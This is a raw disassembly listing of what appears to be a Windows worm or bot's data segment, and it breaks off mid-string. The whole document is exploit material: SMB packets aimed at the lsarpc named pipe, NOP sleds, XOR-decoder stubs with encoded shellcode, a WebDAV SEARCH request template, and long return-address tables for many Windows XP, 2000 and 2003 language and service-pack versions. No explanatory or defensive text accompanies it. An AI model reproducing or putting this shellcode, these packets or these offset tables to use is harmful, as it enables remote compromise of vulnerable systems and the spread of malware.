0AB00BAh, 3 dup(0AB00ABh), 0ABh, 0BAADh, 40000h dd 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 1F500000h, 130079h, 0 dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h dd 0B0079h, 0 dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h dd 41h, 6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h, 0AE21D2C8h dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h, 0B312E7C7h dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh, 2A6FD55Eh dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h, 3D5BB4C6h dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh, 0B465545Eh dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h, 0DE0497A4h dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h, 0F94C833Dh dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h, 75E3EE2Fh dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h, 0E290152h dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h, 0C5F77BDh dd 364A9BCh, 6A7C6B6Fh, 6E90B28Dh, 6FF80013h, 780871B6h dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh, 0B574DD10h dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h, 2FF75D6Eh dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h, 0D8153186h dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h, 0F4FD1D47h dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h, 0C573CD85h dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h, 0DD83F934h dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h dd 15003D6h, 0E290152h, 0CF353A38h, 51B7263Eh, 8DCD3FD0h dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh dd 0 aSPipeLsarpc db '\\%s\pipe\lsarpc',0 ; DATA XREF: seg000:0040E705o align 4 dword_4478F4 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: seg000:0040E94Bo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_447980 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040E98Fo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dword_447A2C dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040E9C2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_447B0C dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040EA03o dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dword_447B40 dd 3F3F0000h, 3F3F3Fh, 0dword_447B4C dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040EAE8o dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dword_447BB8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040EB27o dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_447C5C dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0040EB7Ao dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_447D26 ; --------------------------------------------------------------------------- align 10h dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_447D2E ; --------------------------------------------------------------------------- loc_447D26: ; CODE XREF: seg002:00447D1Cj nop nop db 67h adc eax, 8EB767Ah loc_447D2E: ; CODE XREF: seg002:00447D24j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_447D7D ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_447D7D: ; CODE XREF: seg002:00447D73j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dword_447D90 dd 7E0h, 4, 2 dup(0)dword_447DA0 dd 0E983C929h, 0D9EED9B0h, 5BF42474h; --------------------------------------------------------------------------- loc_447DAC: ; CODE XREF: seg002:00447DB6j xor dword ptr [ebx+13h], 3704F519h sub ebx, 0FFFFFFFCh loop loc_447DAC ; --------------------------------------------------------------------------- dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah db 7Fh, 9Dh word_447E5A dw 551Ah ; DATA XREF: seg000:0040EB93w dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0 dword_447EFC dd 73255C5Ch, 4350495Ch, 24hdword_447F08 dd 401150FFh, 0 dword_447F10 dd 142FFA1h, 0 dword_447F18 dd 401138FFh, 0 dword_447F20 dd 14308B9h, 0 dword_447F28 dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h ; DATA XREF: sub_40EC3D+F0o dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h db 0B8h byte_447F4D db 3 dup(0) ; DATA XREF: sub_40EC3D+1Co ; sub_40EC3D+43o dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh, 90E7FFE1h dd 3 dup(90909090h) aRrrrrrrrrrrrrr db '',0 ; DATA XREF: sub_40EC3D:loc_40EC91o a1_1_1_1_1_1 db '1.1.1.1.1.1',0 aIa db 'ë€',0 align 10h aV9_1_4691_01 db 'v9.1.4691.0+1',0 align 10h aV8_5_3572 db 'v8.5.3572',0 align 10h byte_447FD0 db 0EBh ; DATA XREF: sub_40EE3A+D6r db 2, 0EBh, 5 dd 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh, 0EC8BFCE4h dd 0B966C933h ; --------------------------------------------------------------------------- or al, 2 loc_447FEE: ; CODE XREF: seg002:00447FF2j xor byte ptr [eax], 80h inc eax loop loc_447FEE adc [eax-41h], ch add byte ptr [eax-7131F180h], 6Ch ; --------------------------------------------------------------------------- dw 7EF2h dd 39039633h, 4752F835h, 151CE827h, 0EA21EE9Ah, 475358BDh dd 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h, 7C6D4B80h, 758959BBh dd 0F09A242Dh, 0AE2D2447h, 6C96569h, 0E4EDE3C9h, 0E4D2DA80h dd 80B021E7h, 0B8CC00Bh, 0B2D9CF0h, 720B88D8h, 6F017E0Bh dd 80808180h, 883149B3h, 80811068h, 7FD6D280h, 0BDA60D7h dd 87460358h, 853149B3h, 8081FC68h, 80036880h, 1E68080h dd 0D481106Ch, 808181E8h, 6CD77F80h, 40B36C0Bh, 0D0D0D0D0h dd 0D0C0D0C0h, 0B70D77Fh, 0C547E658h, 0E6808280h db 47h, 0C5h, 82h word_44809F dw 0D080h ; DATA XREF: sub_40EE3A+61w db 47h, 0C5h, 84h dd 80808080h, 0D3D590EAh, 574D77Fh, 0C062F540h, 0D77FD3D0h dd 0D3D0D078h, 0B7CD77Fh, 0B340B358h, 0D7913149h, 2B737D0Bh dd 80C546DFh, 0BCDD09C4h, 9B8DD09h, 47E6C0DDh, 8181ACC5h dd 0D0C4C50Dh, 0D1D1D1D5h, 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h dd 0D77FD0C8h, 0B340B354h, 0D7913149h, 2B737D0Bh, 0C4CD0DDFh dd 0D0D0D5D1h, 80EA84EAh, 0D0D6D0D0h, 150D77Fh, 8084806Ch dd 8087E880h, 7FD48081h, 0D77FC8F5h, 0E8C0EA58h, 80809080h dd 80D080E8h, 7F80EA80h, 0D77FC4F5h, 1580B5Ch, 80818043h dd 0A41C0980h, 80808038h, 34A41C09h, 0B808080h, 8484A40Ch dd 0C1478080h, 1010107Bh, 7FC14610h, 2690110h, 0EA808081h dd 9080E880h, 0D0D18080h, 7FC4F57Fh, 7FD460D7h, 0D77FC8F5h dd 0C8F57F64h, 0B368D77Fh, 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h dd 0C50B98A4h, 85D40BBCh, 0B5583F8h, 0DA0B98CAh, 635D83A0h dd 0B40BC9B9h, 0B375830Bh, 40B37C7Fh, 0F444BA2Ch, 1010108Bh dd 8D4F4110h, 6E6B7883h, 94A4FCBBh, 0DA0B5DF5h, 0E65D83A4h dd 0BCB8C0Bh, 5D839CDAh, 830B840Bh, 10856B45h, 40B31010h dd 0DEDF550Bh, 8442DBDDh, 7FD3D180h, 7F1868B6h, 2D2B7F7Fh dd 7162D9DBh, 43h dword_448200 dd 4Fh, 4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h ; DATA XREF: seg000:0040F00Eo dd 41h, 0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh dd 41h, 0CEh, 41h, 0CFh dword_448260 dd 41h, 0D0h a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_40EE3A+3Do db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 aSearchSHttp1_1 db 'SEARCH /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40EE3A+138o db 'Host: %s',0Dh,0Ah db 'Content-type: text/xml',0Dh,0Ah db 'Content-Length: ',0 aSD db '%s%d',0Dh,0Ah ; DATA XREF: sub_40EE3A+15Do db 0Dh,0Ah,0 align 8 aFb db 'fìÐ',7,0 ; DATA XREF: sub_40F19D+7Eo align 10h dword_448350 dd 129F74h, 0 dword_448358 dd 127D78h, 0 dword_448360 dd 0E983C933h, 0D9EED9B0h, 5BF42474h; --------------------------------------------------------------------------- loc_44836C: ; CODE XREF: seg002:00448376j xor dword ptr [ebx+13h], 6F50883Dh sub ebx, 0FFFFFFFCh loop loc_44836C shl edx, 0BBh and dl, ch ; --------------------------------------------------------------------------- db 71h, 0AFh, 90h dd 3DBE8C2h, 2ADBAC19h, 6A2C0301h, 0E4BF8945h, 30DB9072h dd 26BB891Dh, 6EDBBCB6h, 0F690B9D3h, 1B900C91h, 629A493Ah dd 9BBB4A3Ch, 4774DC06h, 30DB6D48h, 9BB8919h, 0E41B84B6h dd 84519462h, 0E6DBA43Eh, 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h dd 1FDB847Dh, 2FDB2521h, 0E138D635h, 3FBC8673h, 3C365EC2h dd 5D63E05Bh, 5D23FF55h, 0BFAFDC62h, 93BD4355h, 0B9AFD806h dd 9B50162h, 6D5865BCh, 9052E268h, 6689E0EDh, 900725C8h dd 3C03DBEBh, 3C13DB6Eh, 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh dd 75F4E0A8h, 90074F4Dh, 3E40E2EBh, 7807768h, 867E2599h dd 3C86776Ah, 7807768h, 26D6C1D8h, 3F86776Ah, 9005DC69h dd 88381BEDh, 38294E44h, 90055EC2h, 0B3AEEEDh, 233E05Bh dd 3F3A6DB4h, 0E69CA164h, 0E614E2DAh, 9C90B9DFh, 42127697h dd 0FC7CCAC3h, 0C468F2B0h, 1D382396h, 90463BC3h, 0B9AFCC48h dd 3E02DF66h, 6E3AD96Ch, 3E05D96Ch, 0C23858C2h, 3C9E8DE4h dd 903A5EC2h, 0BFAFBFC2h, 0ECACDFB6h, 0B9AFECF9h, 780776Fh dd 305402CDh, 9086776Eh, 6F5088EDh, 0 ; =============== S U B R O U T I N E ======================================= sub_4484BC proc near ; DATA XREF: sub_40F19D+AAo ; FUNCTION CHUNK AT 004484C2 SIZE 00000039 BYTES pusha jmp short loc_4484C2 sub_4484BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4484BF proc near ; CODE XREF: sub_4484BC:loc_4484C2p pop ebx push ebx retn sub_4484BF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4484BC loc_4484C2: ; CODE XREF: sub_4484BC+1j call sub_4484BF xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_4484CF: ; CODE XREF: sub_4484BC+3Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_4484CF popa ; END OF FUNCTION CHUNK FOR sub_4484BC ; --------------------------------------------------------------------------- db 0 align 10h dd offset aWindowsXpSp01G ; "Windows XP SP0+1 GER+NL+IT+FR" dword_448504 dd 77BD3143h dword_448508 dd 7FCh byte_44850C db 1 ; DATA XREF: sub_40F19D:loc_40F440r ; sub_40F19D+2CAr ... align 10h dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG" db 43h ; --------------------------------------------------------------------------- loc_448515: ; CODE XREF: seg002:00448517j xor eax, eax ja short loc_448515 pop es ; --------------------------------------------------------------------------- dw 0 dd 1, 448BF8h, 77BD1F89h, 7FCh, 1, 448C0Ch, 77BD1FA8h dd 7FCh, 1, 448C20h, 77BD1FD6h, 7FCh, 1, 448C34h, 77BD2195h dd 7FCh, 1, 448C48h, 77BD21B3h, 7FCh, 1, 448C5Ch, 77BD21E0h dd 7FCh, 1, 448C70h, 77BD220Ch, 7FCh, 1, 448C84h, 77BD2241h dd 7FCh, 1, 448C98h, 77BD22D2h, 7FCh, 1, 448CACh, 77BD28B2h dd 7FCh, 1, 448CC0h, 77BD29ABh, 7FCh, 1, 448CD4h, 77BD29E7h dd 7FCh, 1, 448CE8h, 77BD29F7h, 7FCh, 1, 448CFCh, 77BD2A03h dd 7FCh, 1, 448D10h, 77BD2D6Dh, 7FCh, 1, 448D24h, 77BD2DB3h dd 7FCh, 1, 448D38h, 77BD2EC2h, 7FCh, 1, 448D4Ch, 77BD2EDDh dd 7FCh, 1, 448D60h, 77BD30AFh, 7FCh, 1, 448D74h, 77BD312Bh dd 7FCh, 1, 448D88h, 77BD3160h, 7FCh, 1, 448D9Ch, 77BD349Ah dd 7FCh, 1, 448DB0h, 77BD34E4h, 7FCh, 1, 448DC4h, 655B4F02h dd 7E7h, 0 dd offset aWindowsUkXpPro ; "Windows uk xp pro sp1 1" dd 77C01F89h, 7FCh, 1, 448DF8h, 77C01FA8h, 7FCh, 1, 448E10h dd 77C01FD6h, 7FCh, 1, 448E28h, 77C02195h, 7FCh, 1, 448E40h dd 77C021B3h, 7FCh, 1, 448E58h, 77C021E0h, 7FCh, 1, 448E70h dd 77C0220Ch, 7FCh, 1, 448E88h, 77C02241h, 7FCh, 1, 448EA0h dd 77C022D2h, 7FCh, 1, 448EB8h, 77C028B2h, 7FCh, 1, 448ED4h dd 77C029ABh, 7FCh, 1, 448EF0h, 77C029E7h, 7FCh, 1, 448F0Ch dd 77C029F7h, 7FCh, 1, 448F28h, 77C02A03h, 7FCh, 1, 448F44h dd 77C02A39h, 7FCh, 1, 448F60h, 77C02D6Dh, 7FCh, 1, 448F7Ch dd 77C02DB3h, 7FCh, 1, 448F98h, 77C02EC2h, 7FCh, 1, 448FB4h dd 77C02EDDh, 7FCh, 1, 448FD0h, 77C030AFh, 7FCh, 1, 448FECh dd 77C0312Bh, 7FCh, 1, 449008h, 77C03143h, 7FCh, 1, 449024h dd 77C03160h, 7FCh, 1, 449040h, 77C0349Ah, 7FCh, 1, 44905Ch dd 77C034E4h, 7FCh, 1, 449078h, 77B920FDh, 7FCh, 1, 449090h dd 77B9211Ch, 7FCh, 1, 4490A8h, 77B9214Ah, 7FCh, 1, 4490C0h dd 77B9230Ch, 7FCh, 1, 4490D8h, 77B9232Ah, 7FCh, 1, 4490F0h dd 77B92357h, 7FCh, 1, 449108h, 77B92383h, 7FCh, 1, 449120h dd 77B923B8h, 7FCh, 1, 449138h, 77B92448h, 7FCh, 1, 449150h dd 77B92AAAh, 7FCh, 1, 44916Ch, 77B92BA7h, 7FCh, 1, 449188h dd 77B92BE3h, 7FCh, 1, 4491A4h, 77B92BF3h, 7FCh, 1, 4491C0h dd 77B92BFFh, 7FCh, 1, 4491DCh, 77B92F78h, 7FCh, 1, 4491F8h dd 77B92FBEh, 7FCh, 1, 449214h, 77B930EFh, 7FCh, 1, 449230h dd 77B9310Dh, 7FCh, 1, 44924Ch, 77B9330Ch, 7FCh, 1, 449268h dd 77B93388h, 7FCh, 1, 449284h, 77B9339Eh, 7FCh, 1, 4492A0h dd 77B933BAh, 7FCh, 1, 4492BCh, 77B9373Dh, 7FCh, 1, 4492D8h dd 77B9378Ah, 7FCh, 1, 4492F4h, 77B920FDh, 7FCh, 1, 44930Ch dd 77B9211Ch, 7FCh, 1, 449324h, 77B9214Ah, 7FCh, 1, 44933Ch dd 77B9230Ch, 7FCh, 1, 449354h, 77B9232Ah, 7FCh, 1, 44936Ch dd 77B92357h, 7FCh, 1, 449384h, 77B92383h, 7FCh, 1, 44939Ch dd 77B923B8h, 7FCh, 1, 4493B4h, 77B92448h, 7FCh, 1, 4493CCh dd 77B92AAAh, 7FCh, 1, 4493E8h, 77B92BA7h, 7FCh, 1, 449404h dd 77B92BE3h, 7FCh, 1, 449420h, 77B92BF3h, 7FCh, 1, 44943Ch dd 77B92BFFh, 7FCh, 1, 449458h, 77B92F78h, 7FCh, 1, 449474h dd 77B92FBEh, 7FCh, 1, 449490h, 77B930EFh, 7FCh, 1, 4494ACh dd 77B9310Dh, 7FCh, 1, 4494C8h, 77B9330Ch, 7FCh, 1, 4494E4h dd 77B93388h, 7FCh, 1, 449500h, 77B9339Eh, 7FCh, 1, 44951Ch dd 77B933BAh, 7FCh, 1, 449538h, 77B9373Dh, 7FCh, 1, 449554h dd 77B9378Ah, 7FCh, 1, 449570h, 41414141h, 7FCh, 1, 44957Ch dd 77E14C29h, 7FCh, 1, 449594h, 77E3CB4Ch, 7FCh, 1, 4495ACh dd 77E42C75h, 7FCh, 1, 4495C4h, 77E3C256h, 7FCh, 1, 4495DCh dd 77E2AFC5h, 7FCh, 1, 4495F4h, 77E2492Bh, 7FCh, 1, 44960Ch dd 77E4FF15h, 7FCh, 1, 449624h, 77E33F4Dh, 7FCh, 1 aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0 ; DATA XREF: seg002:00448500o align 10h aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg002:00448510o align 4 aWindowsNlSp11 db 'Windows nl sp1 1',0 align 4 aWindowsNlSp12 db 'Windows nl sp1 2',0 align 10h aWindowsNlSp13 db 'Windows nl sp1 3',0 align 4 aWindowsNlSp14 db 'Windows nl sp1 4',0 align 4 aWindowsNlSp15 db 'Windows nl sp1 5',0 align 4 aWindowsNlSp16 db 'Windows nl sp1 6',0 align 10h aWindowsNlSp17 db 'Windows nl sp1 7',0 align 4 aWindowsNlSp18 db 'Windows nl sp1 8',0 align 4 aWindowsNlSp19 db 'Windows nl sp1 9',0 align 4 aWindowsNlSp110 db 'Windows nl sp1 10',0 align 10h aWindowsNlSp111 db 'Windows nl sp1 11',0 align 4 aWindowsNlSp112 db 'Windows nl sp1 12',0 align 4 aWindowsNlSp113 db 'Windows nl sp1 13',0 align 4 aWindowsNlSp114 db 'Windows nl sp1 14',0 align 10h aWindowsNlSp115 db 'Windows nl sp1 15',0 align 4 aWindowsNlSp116 db 'Windows nl sp1 16',0 align 4 aWindowsNlSp117 db 'Windows nl sp1 17',0 align 4 aWindowsNlSp118 db 'Windows nl sp1 18',0 align 10h aWindowsNlSp119 db 'Windows nl sp1 19',0 align 4 aWindowsNlSp120 db 'Windows nl sp1 20',0 align 4 aWindowsNlSp121 db 'Windows nl sp1 21',0 align 4 aWindowsNlSp122 db 'Windows nl sp1 22',0 align 10h aWindowsNlSp123 db 'Windows nl sp1 23',0 align 4 aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0 align 10h aWindowsUkXpPro db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg002:004486A0o aWindowsUkXpP_0 db 'Windows uk xp pro sp1 2',0 aWindowsUkXpP_1 db 'Windows uk xp pro sp1 3',0 aWindowsUkXpP_2 db 'Windows uk xp pro sp1 4',0 aWindowsUkXpP_3 db 'Windows uk xp pro sp1 5',0 aWindowsUkXpP_4 db 'Windows uk xp pro sp1 6',0 aWindowsUkXpP_5 db 'Windows uk xp pro sp1 7',0 aWindowsUkXpP_6 db 'Windows uk xp pro sp1 8',0 aWindowsUkXpP_7 db 'Windows uk xp pro sp1 9',0 aWindowsUkXpP_8 db 'Windows uk xp pro sp1 10',0 align 4 aWindowsUkXpP_9 db 'Windows uk xp pro sp1 11',0 align 10h aWindowsUkXp_10 db 'Windows uk xp pro sp1 12',0 align 4 aWindowsUkXp_11 db 'Windows uk xp pro sp1 13',0 align 4 aWindowsUkXp_12 db 'Windows uk xp pro sp1 14',0 align 4 aWindowsUkXp_13 db 'Windows uk xp pro sp1 15',0 align 10h aWindowsUkXp_14 db 'Windows uk xp pro sp1 16',0 align 4 aWindowsUkXp_15 db 'Windows uk xp pro sp1 17',0 align 4 aWindowsUkXp_16 db 'Windows uk xp pro sp1 18',0 align 4 aWindowsUkXp_17 db 'Windows uk xp pro sp1 19',0 align 10h aWindowsUkXp_18 db 'Windows uk xp pro sp1 20',0 align 4 aWindowsUkXp_19 db 'Windows uk xp pro sp1 21',0 align 4 aWindowsUkXp_20 db 'Windows uk xp pro sp1 22',0 align 4 aWindowsUkXp_21 db 'Windows uk xp pro sp1 23',0 align 10h aWindowsUkXp_22 db 'Windows uk xp pro sp1 24',0 align 4 aWindowsUkXp_23 db 'Windows uk xp pro sp1 25',0 align 4 aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 1',0 aWindowsUk2k3_0 db 'Windows uk 2k3 se sp0 2',0 aWindowsUk2k3_1 db 'Windows uk 2k3 se sp0 3',0 aWindowsUk2k3_2 db 'Windows uk 2k3 se sp0 4',0 aWindowsUk2k3_3 db 'Windows uk 2k3 se sp0 5',0 aWindowsUk2k3_4 db 'Windows uk 2k3 se sp0 6',0 aWindowsUk2k3_5 db 'Windows uk 2k3 se sp0 7',0 aWindowsUk2k3_6 db 'Windows uk 2k3 se sp0 8',0 aWindowsUk2k3_7 db 'Windows 